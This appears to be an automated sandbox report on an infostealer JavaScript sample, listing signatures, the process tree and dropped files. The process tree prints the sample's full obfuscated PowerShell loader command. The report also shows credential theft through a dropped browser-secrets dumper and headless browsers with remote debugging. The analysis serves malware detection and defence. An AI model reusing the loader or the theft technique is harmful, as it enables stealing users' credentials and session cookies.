Analysis

  • max time kernel
    148s
  • max time network
    120s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 12:45

General

  • Target
    _8f0bd327bbe739dd80f938e8d7844d3eaa620df4b0d1f4e6d0808a7dfaacd426.js
  • Size 41KB
  • Sample260707-pzkvmsas21
  • SHA256 8f0bd327bbe739dd80f938e8d7844d3eaa620df4b0d1f4e6d0808a7dfaacd426
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Uses browser remote debugging 2 TTPs 2 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\_8f0bd327bbe739dd80f938e8d7844d3eaa620df4b0d1f4e6d0808a7dfaacd426.js
    1⤵
      PID:3976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "$j=47-27;$vv7b3x='eBKx4gd6qz';$defUtwKo='c2e2b2a6ffbfbab188bcaa8d91f2b39eabffb4beab9bc1e193c795d2bea4e1bb84a0e8a4adf98bbfa686959fffa3affbbea292d2db81fbaebbeeb2a4b6b893bdeaa2adf3b7f0f2c8ba9cfbb9e0cfbeb3ba9a88a6e79dbcf3afbfac878d86e7bdabc1e1ea9b8492e3acc0c4b8b9e6fbd5c6b6c683befeb6b3a8bdd2bee4a989caaf9fb6aad0b1aca1bbc6a2929b8db99cae9799acae85a2be8cb0d99ba4f89cbcb98a8ba1f9ae86cab2b288848b9bd983bdc5839eb5a1a790f19499a9ebb2fdd9a98bc69fa2f9e892feb18caaee94b7dea1b488aed1b3c980a9cd839eb5b2b6e3f7af86f7bc8488d18988db8bb4ffe986bbb18caaab8689d6eeb488be838acd8fa0d783a48d8bd29cf2af99d6a8b59caa8e82cb8bb4ffe986bbb18caaab81a5f8b7b48abed588c983fff89cbcbab2d194e4aefccaaf89a290d499dda6f9d59cbca2a3a6b5f9849aadaeb498909299c6b9f7d5939aa38ca984e7afa7de99b387aaa4b0acfca6fd8ce4bab9d284e7aea3caaeb48aba97b0c98bbefeb2e5828ad394f58689ffab9ffcd9d8f593c78ff8bffd9b9191b7bee09ae5abb58b8d87bbf0a4baf5b4beefc0ba86fbb5bab29ebeac8785bbf0aa93a6e1859baed9fcd9a8bacfafa2a68686fac58ea1f2adb5bd9cbce8a48bbcf3b692ae9b84e4aa9ebaeeb2bea8c0c5b0a8f9e7b5f2ddc58e94bcfdb9a7f3b5f0abc0c5beb7b6eaebe69eaa9fcc9dfca7abffaff0818d95fcc9a8acdfb7b9aa8695e9b68aabe8f682ae8685bdf3edeaf0fbfd8c8794bceaedeaf0f593a09d8fa6b7b1ebe7afa2b69393b7eab8bcf2fbf4b8c6a5bde9a3a2f3bab48b8995b3b6e991b5a6b3ae9c82bae5b0b3e1d6daa99d8fb1eaa4a1f2fbb9e7cc80febab9e2b8b6fceb98dc92b6e4e7e7ffa9f2b3b1baffa3baf3b697ae9c848fa4f782f3bab48e9b92b7f3afa2e5f3';$bKaFXKvhW='FHY3FkVADEddAXdyankYQlQQDAZMKGUJPhx3FkhDfnZzSEEfVBIEC0RqJQkPDxURCmhVY1NIFVpeBwwLXTs2djNXVw9BTER+cUNPcFgNQEZecFhBAFVCPgN/RXVyRAIefwxKf0V1ckQCHmIXRVtZdDJkD0FFAkpMVTA3BFoWXl5NSRg2OkNPe0IwUE5Efn0EGmlwAFBGRnZqQhNvC1lnXVV2akgoXEIXRUFTcjYJExtMWABBHl5wWw5ZVEsAQBwzbgQcPztuLgtbKl4FSRVZF1BfCjgxRhtTUE1HQB5tfwJQHFsTQwgZOzYKCUZFE1cVHzgvHVYcAFQXAQIwPgZBFQNUChYJOHdABh0ATU5fVzA3BGw4WAUMBxRwI0lBFlpKCU5eczYJFQ9qN0FXRDlbQwJdVQpKSG0tJHg1dAlNY0pERGpfCFxWSwBIGT4zQABGUgsDEwxESmxGEhpDA31kKSAFTxgOShgTdVlaE18VGBgpJRA3OkoGVBFeBAhHdmwCWHMHOl1uZSUxXRFTHxpCSkRkf11OHQsQQ1xWfHlLCVRCBVdLFzclDUVVVgUEEhAzeUoHHGIWRlxEZXdDBhoBTwQLV3B4Ay1XXwRQRxA6PhxTGzxpAEMQKj4KURURWCklEDc+DQgSGThnQF5he18VbwtZYl1felxMElcHV3dbQn5wSkkWfAJQTFhybXZQbxhKBAhdbm5fDlVDAkkBeHhzSARBFkMDXUV5bV5GEnFLAEhXcTINRV4dQwMIHDc5fwRVcBBJCBw3ORxGEh1DA1cIITkEbDgRQwQPd3JqADFAXgBBXENrbUITRhEgdHoQOnpIElFNEEFDVXRqDUxUWBFXWxAiYksVEn8CSUocVE54QU88aSklEDc+DUESEUMEDw==';$oFXwFdVu=0xA058-0x4EC2;$xXOdqH=@();foreach($c in [char[]]$vv7b3x){$xXOdqH+=[byte]($c-bxor0xAA)};$dp3cCaZ=$xXOdqH;$xXOdqH=@();foreach($c in [char[]]$vv7b3x){$xXOdqH+=[byte]($c-bxor0x55)};$gs5aPssk=$xXOdqH;$r='';$i=0;for($j=0;$j-lt$defUtwKo.Length;$j+=2){$r+=[char](([Convert]::ToInt32($defUtwKo.Substring($j,2),16))-bxor$dp3cCaZ[$i++%$dp3cCaZ.Length])};$hnOyWC=$r;$b=[Convert]::FromBase64String($bKaFXKvhW);$r='';$i=0;for($j=0;$j-lt$b.Length;$j++){$r+=[char]($b[$j]-bxor$gs5aPssk[$i++%$gs5aPssk.Length])};$d3TqIe7UC=$r;$suinXPc=$hnOyWC+$d3TqIe7UC;.($env:ComSpec[4,26,25]-join'') $suinXPc"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1116
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fe5luebt\fe5luebt.cmdline"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1964
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCC44.tmp" "c:\Users\Admin\AppData\Local\Temp\fe5luebt\CSCAC82AF03E5A74457B227CF2A629A6B5F.TMP"
          3⤵
            PID:3560
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          2⤵
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          PID:2568
          • C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe
            "C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe" /b:chrome /b:edge /b:brave /e:all
            3⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:5688
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --disable-gpu --remote-debugging-port=9222 --disable-background-timer-throttling
              4⤵
              • Uses browser remote debugging
              • Loads dropped DLL
              • Enumerates system info in registry
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:5076
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5076240717875 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5076240717875\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5076240717875 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x208,0x20c,0x210,0x1e0,0x214,0x7ff95d32c728,0x7ff95d32c734,0x7ff95d32c740
                5⤵
                  PID:4340
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --disable-gpu --remote-debugging-port=9222 --disable-background-timer-throttling
                4⤵
                • Uses browser remote debugging
                • Loads dropped DLL
                • Enumerates system info in registry
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:3040
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge3040240718218 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge3040240718218\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x338,0x33c,0x340,0x334,0x364,0x7ff95c5dc188,0x7ff95c5dc194,0x7ff95c5dc1a0
                  5⤵
                    PID:5876
          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
            1⤵
              PID:1400
            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
              1⤵
                PID:3416
              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                1⤵
                  PID:4512

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      ChromeData.json

                      • Path C:\Users\Admin\AppData\Local\Temp\ChromeData.json
                      • Size 322B
                      • SHA256 38f643d4b23699ea15a342771891405fec7514f2f57b6f9065b617fad63d6f2e
                      • MD5 SHA1 SHA512 TLSH

                      DllExtractChromiumSecrets.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\DllExtractChromiumSecrets.dll
                      • Size 45KB
                      • SHA256 b0935270bc8ed6d31c5352c49a8f5d7cbe62457133fe1cf7effeeeb1440e9ce0
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      DumpBrowserSecrets.exe

                      • Path C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe
                      • Size 381KB
                      • SHA256 c934a2db58a1a64ee245a7627843508c6c517fcb06ea6855d26a72b41ae6753b
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      EdgeData.json

                      • Path C:\Users\Admin\AppData\Local\Temp\EdgeData.json
                      • Size 429B
                      • SHA256 2ef29d5aeb8f44a7ac32345c4ff6d3dabd5ce63154f1bfe3b9cfea8eebf2d053
                      • MD5 SHA1 SHA512 TLSH

                      settings.dat

                      • Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge3040240718218\Crashpad\settings.dat
                      • Size 280B
                      • SHA256 6d011d3c29ae978a4cdc7d1351d01e4c459645bbc2339d640d8f38b53e43da8e
                      • MD5 SHA1 SHA512 TLSH

                      throttle_store.dat

                      • Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge3040240718218\Crashpad\throttle_store.dat
                      • Size 20B
                      • SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
                      • MD5 SHA1 SHA512

                      RESCC44.tmp

                      • Path C:\Users\Admin\AppData\Local\Temp\RESCC44.tmp
                      • Size 1KB
                      • SHA256 c19d2c0d273c0f3c316a5cf59f4fd62704454904beeab29f1ed81d622e8c191b
                      • MD5 SHA1 SHA512 TLSH

                      fe5luebt.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\fe5luebt\fe5luebt.dll
                      • Size 3KB
                      • SHA256 a3429a4f1e7f9bd0f6aa1c4b492325b1003efa27a5e125aa9309940a402a913e
                      • MD5 SHA1 SHA512 TLSH

                      CSCAC82AF03E5A74457B227CF2A629A6B5F.TMP

                      • Path \??\c:\Users\Admin\AppData\Local\Temp\fe5luebt\CSCAC82AF03E5A74457B227CF2A629A6B5F.TMP
                      • Size 652B
                      • SHA256 b61227511886c7be9dbfcc0eb668d5a49d57584b5873b5edd681f801ea898048
                      • MD5 SHA1 SHA512 TLSH

                      fe5luebt.0.cs

                      • Path \??\c:\Users\Admin\AppData\Local\Temp\fe5luebt\fe5luebt.0.cs
                      • Size 213B
                      • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
                      • MD5 SHA1 SHA512 TLSH

                      fe5luebt.cmdline

                      • Path \??\c:\Users\Admin\AppData\Local\Temp\fe5luebt\fe5luebt.cmdline
                      • Size 369B
                      • SHA256 83a2ead0301793e33b09472fe20d4b2d44d83ec7b1f791fe1ed5bc15d800b465
                      • MD5 SHA1 SHA512 TLSH

                      memory/1116-12-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1116-5-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1116-13-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1116-0-0x00007FF95BDEF000-0x00007FF95BDF0000-memory.dmp

                      memory/1116-11-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1116-3-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1116-28-0x000001C78AE90000-0x000001C78AE98000-memory.dmp

                      memory/1116-10-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1116-9-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1116-29-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1116-30-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1116-32-0x000001C78ABB0000-0x000001C78ABCA000-memory.dmp

                      memory/1116-33-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1116-34-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1116-35-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1116-4-0x000001C7A3370000-0x000001C7A3392000-memory.dmp

                      memory/1116-14-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1116-6-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1116-40-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1116-8-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1116-7-0x00007FF95BC60000-0x00007FF95C604000-memory.dmp

                      memory/1964-26-0x000001AA7E080000-0x000001AA7EA24000-memory.dmp

                      memory/2568-39-0x00000000054F0000-0x0000000005556000-memory.dmp

                      memory/2568-37-0x0000000005AB0000-0x000000000606A000-memory.dmp

                      memory/2568-63-0x0000000006240000-0x0000000006402000-memory.dmp

                      memory/2568-36-0x00000000000C0000-0x0000000000180000-memory.dmp

                      memory/2568-65-0x0000000006940000-0x0000000006E6C000-memory.dmp

                      memory/2568-67-0x0000000006490000-0x0000000006506000-memory.dmp

                      memory/2568-70-0x00000000066C0000-0x00000000066D2000-memory.dmp

                      memory/2568-73-0x0000000007B20000-0x0000000007BB2000-memory.dmp

                      memory/2568-74-0x0000000007B00000-0x0000000007B0A000-memory.dmp